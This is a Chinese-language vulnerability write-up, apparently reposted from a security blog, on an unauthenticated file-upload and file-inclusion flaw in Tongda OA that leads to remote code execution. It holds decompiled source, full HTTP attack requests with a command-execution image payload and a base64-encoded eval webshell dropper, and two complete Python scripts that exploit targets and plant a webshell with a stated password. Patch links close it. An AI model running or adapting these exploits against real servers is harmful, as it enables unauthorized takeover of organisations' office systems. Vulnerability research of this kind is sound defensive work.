影响范围
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V11版
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2017版
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2016版
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2015版
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2013版
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2013增强版
漏洞类型
文件上传&文件包含=>RCE
漏洞危害
文件上传&文件包含=>RCE
利用条件
在影响范围内的通达OA程序
漏洞简介
通达OA是由北京通达信科科技有限公司开发的一款办公系统，近日通达官方在其官网发布了安全提醒与更新程序，并披露有用户遭到攻击。
攻击者在未授权的情况下可上传任意内容的图片文件，再通过精心构造的请求进行文件包含，触发远程代码执行。攻击者无须权限即可完成攻击，受攻击的目标系统只需运行即可能被远程入侵。
漏洞分析
在这里文件全部已经使用zend加密了，所以向要进行解密，解密网站：http://dezend.qiling.org/free/
文件上传功能
C:MyoAwebrootispiritimupload.php:
//decode by http://dezend.qiling.org QQ 2859470set_time_limit(0);$P = $_POST['P'];if (isset($P) || $P != '') {ob_start();include_once 'inc/session.php';session_id($P);session_start();session_write_close();} else {include_once './auth.php';}include_once 'inc/utility_file.php';include_once 'inc/utility_msg.php';include_once 'mobile/inc/funcs.php';ob_end_clean();$TYPE = $_POST['TYPE'];$DEST_UID = $_POST['DEST_UID'];$dataBack = array();if ($DEST_UID != '' && !td_verify_ids($ids)) {$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));echo json_encode(data2utf8($dataBack));exit;}if (strpos($DEST_UID, ',') !== false) {} else {$DEST_UID = intval($DEST_UID);}if ($DEST_UID == 0) {if ($UPLOAD_MODE != 2) {$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));echo json_encode(data2utf8($dataBack));exit;}}$MODULE = 'im';if (1 <= count($_FILES)) {if ($UPLOAD_MODE == '1') {if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);}}$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);if (!is_array($ATTACHMENTS)) {$dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);echo json_encode(data2utf8($dataBack));exit;}ob_end_clean();$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);if ($TYPE == 'mobile') {$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);}} else {$dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));echo json_encode(data2utf8($dataBack));exit;}$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);if (!$FILE_SIZE) {$dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));echo json_encode(data2utf8($dataBack));exit;}if ($UPLOAD_MODE == '1') {if (is_thumbable($ATTACHMENT_NAME)) {$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);}$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;$MSG_CATE = $_POST['MSG_CATE'];if ($MSG_CATE == 'file') {$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';} else {if ($MSG_CATE == 'image') {$CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';} else {$DURATION = intval($DURATION);$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';}}$AID = 0;$POS = strpos($ATTACHMENT_ID, '@');if ($POS !== false) {$AID = intval(substr($ATTACHMENT_ID, 0, $POS));}$query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';$cursor = exequery(TD::conn(), $query);$FILE_ID = mysql_insert_id();if ($cursor === false) {$dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));echo json_encode(data2utf8($dataBack));exit;}$dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);echo json_encode(data2utf8($dataBack));exit;} else {if ($UPLOAD_MODE == '2') {$DURATION = intval($_POST['DURATION']);$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';$cursor = exequery(TD::conn(), $query);echo '+OK ' . $CONTENT;} else {if ($UPLOAD_MODE == '3') {if (is_thumbable($ATTACHMENT_NAME)) {$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);}echo '+OK ' . $ATTACHMENT_ID;} else {$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';$msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);$query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';$cursor = exequery(TD::conn(), $query);$FILE_ID = mysql_insert_id();if ($cursor === false) {echo '-ERR ' . _('数据库操作失败');exit;}if ($FILE_ID == 0) {echo '-ERR ' . _('数据库操作失败2');exit;}echo '+OK ,' . $FILE_ID . ',' . $msg_id;exit;}}}
关键核心代码1：
从上面的逻辑中可以看到，这里只要传递的参数"P"，那么就不会进入else语句，这里的auth.php主要实现身份认证功能，所以此处可以绕过登录认证，在未授权的情况下访问上传功能点~
关键核心代码2：
从上面的代码中可以看到，这里要想成功进入到文件上传处理逻辑功能(L39)，我们需要先通过前面的if判断检测，通过分析上面的代码可以看到，这里我们需要上传一个DEST_UID不为空，且不为0的值即可。
在文件上传处理逻辑代码中，会对"$_FILES['ATTACHMENT']['name'])"进行一次url解码，之后判断和文件名长度是否有变化，如果有变化，则将url解码后的文件名作为最后的文件名。
在L45行代码可以看到，这里会调用upload函数对文件进行一个检测，经过跟踪发现该文件位于——inc/utility_file.php的1321行，具体函数代码如下：
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = true){if (strstr($MODULE, '/') || strstr($MODULE, '\')) {if (!$OUTPUT) {return _('参数含有非法字符。');}Message(_('错误'), _('参数含有非法字符。'));exit;}$ATTACHMENTS = array('ID' => '', 'NAME' => '');reset($_FILES);foreach ($_FILES as $KEY => $ATTACHMENT) {if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') {continue;}$data_charset = isset($_GET['data_charset']) ? $_GET['data_charset'] : (isset($_POST['data_charset']) ? $_POST['data_charset'] : '');$ATTACH_NAME = $data_charset != '' ? td_iconv($ATTACHMENT['name'], $data_charset, MYOA_CHARSET) : $ATTACHMENT['name'];$ATTACH_SIZE = $ATTACHMENT['size'];$ATTACH_ERROR = $ATTACHMENT['error'];$ATTACH_FILE = $ATTACHMENT['tmp_name'];$ERROR_DESC = '';if ($ATTACH_ERROR == UPLOAD_ERR_OK) {if (!is_uploadable($ATTACH_NAME)) {$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文件'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));}$encode = mb_detect_encoding($ATTACH_NAME, array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));if ($encode != 'UTF-8') {$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, 'utf-8', MYOA_CHARSET);} else {$ATTACH_NAME_UTF8 = $ATTACH_NAME;}if (preg_match('/[\':<>?]|\/|\\|"|\|/u', $ATTACH_NAME_UTF8)) {$ERROR_DESC = sprintf(_('文件名[%s]包含[/\'":*?<>|]等非法字符'), $ATTACH_NAME);}if ($ATTACH_SIZE == 0) {$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), $ATTACH_NAME);}if ($ERROR_DESC == '') {$ATTACH_NAME = str_replace(''', '', $ATTACH_NAME);$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);if ($ATTACH_ID === false) {$ERROR_DESC = sprintf(_('文件[%s]上传失败'), $ATTACH_NAME);} else {$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';}}@unlink($ATTACH_FILE);} else {if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统限制（%s）'), $ATTACH_NAME, ini_get('upload_max_filesize'));} else {if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {$ERROR_DESC = sprintf(_('文件[%s]的大小超过了表单限制'), $ATTACH_NAME);} else {if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {$ERROR_DESC = sprintf(_('文件[%s]上传不完整'), $ATTACH_NAME);} else {if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {$ERROR_DESC = sprintf(_('文件[%s]上传失败：找不到临时文件夹'), $ATTACH_NAME);} else {if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {$ERROR_DESC = sprintf(_('文件[%s]写入失败'), $ATTACH_NAME);} else {$ERROR_DESC = sprintf(_('未知错误[代码：%s]'), $ATTACH_ERROR);}}}}}}if ($ERROR_DESC != '') {if (!$OUTPUT) {delete_attach($ATTACHMENTS['ID'], $ATTACHMENTS['NAME'], $MODULE);return $ERROR_DESC;} else {Message(_('错误'), $ERROR_DESC);}}}return $ATTACHMENTS;}
之后在上面的代码中，调用了当前文件下的is_uploadable()函数对文件名进行检查：
从上面的代码中可以看到，这里过滤的php后缀格式，不允许上传php类型文件，所以，我们到这里我们没法直接上传一个PHP木马文件来getshell，最好的方法就是再找一个文件包含类漏洞，形成一个组合拳：先上传图片木马文件，之后在用文件包含漏洞包含该图片木马，从而远程RCE，不过很幸运的是确实还有一个文件包含类漏洞~
文件包含功能
C:MyoAwebrootispiritinterfacegateway.php
//decode by http://dezend.qiling.org QQ 2859470ob_start();include_once 'inc/session.php';include_once 'inc/conn.php';include_once 'inc/utility_org.php';if ($P != '') {if (preg_match('/[^a-z0-9;]+/i', $P)) {echo _('非法参数');exit;}session_id($P);session_start();session_write_close();if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {echo _('RELOGIN');exit;}}if ($json) {$json = stripcslashes($json);$json = (array) json_decode($json);foreach ($json as $key => $val) {if ($key == 'data') {$val = (array) $val;foreach ($val as $keys => $value) {${$keys} = $value;}}if ($key == 'url') {$url = $val;}}if ($url != '') {if (substr($url, 0, 1) == '/') {$url = substr($url, 1);}if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {include_once $url;}}exit;}
从上面的逻辑可以看到，这里只需要不传递参数P就可以绕过检测进入到下面的if语句中，之后从json中获取url参数，之后在L40包含指定的文件~
到这里，我们可能也会想到如果向日志文件中写shell，之后再通过日志文件来实现getshell，也是不错的一种做法~
综上所述，可总结如下：
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文件上传功能：参数p不为空，且不能上传php后缀格式文件
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文件包含功能：参数p要为空，在url中指定要包含的文件。
漏洞复现
环境搭建
通达OA下载：
链接：https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg
提取码：ousi
下载之后直接点击运行即可(不可占用80端口哦)：
之后启用服务即可
在浏览器中访问，成功完成环境搭建：
漏洞复现
命令执行
这里首先借助upload-labs构造一个文件上传表单，之后根据之前的代码分析修改请求数据包如下：
POST /ispirit/im/upload.php HTTP/1.1Host: 192.168.174.159:80Content-Length: 655Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="P"------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;------WebKitFormBoundaryBwVAwV3O4sifyhr3--
成功上传图片木马文件：
PS：如果这里在上传文件时有文件名，需要注意上传后的文件名格式为“序列.文件名.jpg”，我这里为了方便就直接设置文件名为空了~
之后进行文件包含，并执行命令：
POST /ispirit/interface/gateway.php HTTP/1.1Host: 192.168.174.159User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 69json={"url":"/general/../../attach/im/2003/354900984.jpg"}&cmd=whoami
由此可见文件包含+文件上传==>命令执行成功实现！
POC验证
Getshell
同时，我们也可以写shell文件进去，下面试试看~
首先，构造上传的图片木马文件内容如下：
POST /ispirit/im/upload.php HTTP/1.1Host: 192.168.174.159:80Content-Length: 602Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="P"------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg$fp = fopen('404.php', 'w');$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");fwrite($fp, $a);fclose($fp);------WebKitFormBoundaryBwVAwV3O4sifyhr3--
之后上传文件：
之后使用文件包含：
POST /ispirit/interface/gateway.php HTTP/1.1Host: 192.168.174.159User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 59json={"url":"/general/../../attach/im/2003/1153189608.jpg"}
之后在服务器端成功写入webshell——404.php
之后使用菜刀连接：
成功连接到shell
EXP验证
漏洞POC
简易验证poc
#!/usr/bin/env python3# -*- encoding: utf-8 -*-'''@File : Tongda_rce.py@Time : 2020/03/19 12:00:00@Author : Al1ex@Github : https://github.com/Al1ex'''import requestsimport reimport sysdef check(url):try:upload_url = url + '/ispirit/im/upload.php'flag="nt authoritysystem";headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Connection": "close"}payload ='''------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="P"------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundaryBwVAwV3O4sifyhr3--'''response = requests.post(upload_url, headers=headers, data=payload)path = response.textfilename = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".").replace("\","")if response.status_code == 200 and "OK" in path:result = include_file(url,filename)if flag in result:return resultelse:returnelse:print("[+] File upload Fail!")returnexcept:passdef include_file(url,filename):include_url = url + "/ispirit/interface/gateway.php"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Content-Type":"application/x-www-form-urlencoded","Connection": "close"}payload = {"json":"{"url":"/general/../../attach/im/" + filename + ""}","cmd":"whoami"}response = requests.post(include_url,headers=headers,data=payload)return response.textif __name__ == '__main__':print('''_______ _____ _____ _____ ______|__ __| | __ | __ / ____| ____|| | ___ _ __ __ _ | | | | __ _ | |__) | | | |__| |/ _ | '_ / _` | | | | |/ _` | | _ /| | | __|| | (_) | | | | (_| | | |__| | (_| | | | | |____| |____|_|___/|_| |_|__, | |_____/ __,_| |_| _\_____|______|__/ ||___/''')url = sys.argv[1]result = check(url)if result:print("[+] Congratulations target is vulnerable!!!")print("[+] Remote code execution result is:"+result)else:print("[-] There is no remote code execution vulnerability in the target address")
漏洞EXP
#!/usr/bin/env python3# -*- encoding: utf-8 -*-'''@File : Tongda_rce.py@Time : 2020/03/19 12:00:00@Author : Al1ex@Github : https://github.com/Al1ex'''import requestsimport reimport sysdef check(url):try:upload_url = url + '/ispirit/im/upload.php'flag="nt authoritysystem";headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Connection": "close"}payload ='''------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="P"------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundaryBwVAwV3O4sifyhr3Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$fp = fopen('404.php', 'w');$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");fwrite($fp, $a);fclose($fp);?>------WebKitFormBoundaryBwVAwV3O4sifyhr3--'''response = requests.post(upload_url, headers=headers, data=payload)path = response.textfilename = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".").replace("\","")if response.status_code == 200 and "OK" in path:result = include_file(url,filename)shell_url=url+'/ispirit/interface/404.php'verify = requests.get(shell_url)if result.status_code == 200 and verify.status_code == 200:return shell_urlelse:returnelse:print("[+] File upload Fail!")returnexcept:passdef include_file(url,filename):include_url = url + "/ispirit/interface/gateway.php"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Content-Type":"application/x-www-form-urlencoded","Connection": "close"}payload = {"json":"{"url":"/general/../../attach/im/" + filename + ""}",}response = requests.post(include_url,headers=headers,data=payload)return responseif __name__ == '__main__':print('''_______ _____ _____ _____ ______|__ __| | __ | __ / ____| ____|| | ___ _ __ __ _ | | | | __ _ | |__) | | | |__| |/ _ | '_ / _` | | | | |/ _` | | _ /| | | __|| | (_) | | | | (_| | | |__| | (_| | | | | |____| |____|_|___/|_| |_|__, | |_____/ __,_| |_| _\_____|______|__/ ||___/''')url = sys.argv[1]result = check(url)if result:print("[+] Congratulations target is vulnerable!!!")print("[+] Shell's URL is:"+result)print("[+] Shell's password is cmd!")else:print("[-] There is no remote code execution vulnerability in the target address")
防御措施
根据已知的恶意攻击风险，建议尽快测试更新补丁：
V11版：
http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe
2017版：
http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe
2016版：
http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe
2015版：
http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe
2013增强版：
http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe
2013版：
http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe
参考链接
https://github.com/jas502n/OA-tongda-RCE
http://www.tongda2000.com/news/673.php
原文始发于微信公众号（七芒星实验室）：通达OA 文件上传/包含导致RCE
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